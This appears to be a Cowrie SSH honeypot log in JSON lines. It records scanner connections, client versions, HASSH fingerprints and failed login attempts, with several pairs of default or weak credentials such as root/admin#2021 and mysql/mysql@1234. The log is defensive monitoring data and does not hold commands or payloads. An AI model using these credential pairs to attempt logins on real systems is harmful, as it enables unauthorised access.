{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:22.342081Z","src_ip":"172.237.20.62","session":"22c07b81b117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33898,"dst_ip":"159.203.135.109","dst_port":22,"session":"8016972edd3e","protocol":"ssh","message":"New connection: 172.237.20.62:33898 (159.203.135.109:22) [session: 8016972edd3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:31.489221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:31.495748Z","src_ip":"172.237.20.62","session":"8016972edd3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:31.656937Z","src_ip":"172.237.20.62","session":"8016972edd3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:32.166953Z","src_ip":"172.237.20.62","session":"8016972edd3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:33.328269Z","src_ip":"172.237.20.62","session":"8016972edd3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33260,"dst_ip":"159.203.135.109","dst_port":22,"session":"52cf7632f684","protocol":"ssh","message":"New connection: 172.237.20.62:33260 (159.203.135.109:22) [session: 52cf7632f684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:42.342824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:42.347711Z","src_ip":"172.237.20.62","session":"52cf7632f684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:42.511753Z","src_ip":"172.237.20.62","session":"52cf7632f684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:43.001500Z","src_ip":"172.237.20.62","session":"52cf7632f684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:44.167773Z","src_ip":"172.237.20.62","session":"52cf7632f684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57594,"dst_ip":"159.203.135.109","dst_port":22,"session":"097aa0321fc0","protocol":"ssh","message":"New connection: 89.144.211.139:57594 (159.203.135.109:22) [session: 097aa0321fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:45.596620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:45.605214Z","src_ip":"89.144.211.139","session":"097aa0321fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:45.735972Z","src_ip":"89.144.211.139","session":"097aa0321fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#2021","message":"login attempt [root/admin#2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:46.293151Z","src_ip":"89.144.211.139","session":"097aa0321fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:47.424978Z","src_ip":"89.144.211.139","session":"097aa0321fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45350,"dst_ip":"159.203.135.109","dst_port":22,"session":"367ab022ad19","protocol":"ssh","message":"New connection: 172.237.20.62:45350 (159.203.135.109:22) [session: 367ab022ad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:53.352194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:53.357546Z","src_ip":"172.237.20.62","session":"367ab022ad19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:53.521641Z","src_ip":"172.237.20.62","session":"367ab022ad19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:54.031547Z","src_ip":"172.237.20.62","session":"367ab022ad19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:55.192698Z","src_ip":"172.237.20.62","session":"367ab022ad19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34488,"dst_ip":"159.203.135.109","dst_port":22,"session":"f58bafa18f1f","protocol":"ssh","message":"New connection: 172.237.20.62:34488 (159.203.135.109:22) [session: f58bafa18f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:04.301821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:04.308756Z","src_ip":"172.237.20.62","session":"f58bafa18f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:04.475330Z","src_ip":"172.237.20.62","session":"f58bafa18f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:05.004301Z","src_ip":"172.237.20.62","session":"f58bafa18f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:06.169504Z","src_ip":"172.237.20.62","session":"f58bafa18f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47158,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a25fb0b7b51","protocol":"ssh","message":"New connection: 80.94.92.184:47158 (10.17.0.5:22) [session: 9a25fb0b7b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:14.122870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:14.303095Z","src_ip":"80.94.92.184","session":"9a25fb0b7b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:14.307192Z","src_ip":"80.94.92.184","session":"9a25fb0b7b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34424,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e9106e06a7","protocol":"ssh","message":"New connection: 172.237.20.62:34424 (159.203.135.109:22) [session: 22e9106e06a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:15.342437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:15.350351Z","src_ip":"172.237.20.62","session":"22e9106e06a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:15.357161Z","src_ip":"80.94.92.184","session":"9a25fb0b7b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:15.517046Z","src_ip":"172.237.20.62","session":"22e9106e06a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:16.046121Z","src_ip":"172.237.20.62","session":"22e9106e06a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:16.940182Z","src_ip":"80.94.92.184","session":"9a25fb0b7b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:17.211420Z","src_ip":"172.237.20.62","session":"22e9106e06a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"5143d2fd9d11","protocol":"ssh","message":"New connection: 172.237.20.62:41326 (159.203.135.109:22) [session: 5143d2fd9d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:26.378508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:26.383594Z","src_ip":"172.237.20.62","session":"5143d2fd9d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:26.547309Z","src_ip":"172.237.20.62","session":"5143d2fd9d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:27.281027Z","src_ip":"172.237.20.62","session":"5143d2fd9d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:28.449577Z","src_ip":"172.237.20.62","session":"5143d2fd9d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58228,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a4806a8ead2","protocol":"ssh","message":"New connection: 172.237.20.62:58228 (159.203.135.109:22) [session: 9a4806a8ead2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:37.375118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:37.390294Z","src_ip":"172.237.20.62","session":"9a4806a8ead2","protocol":"ssh"}
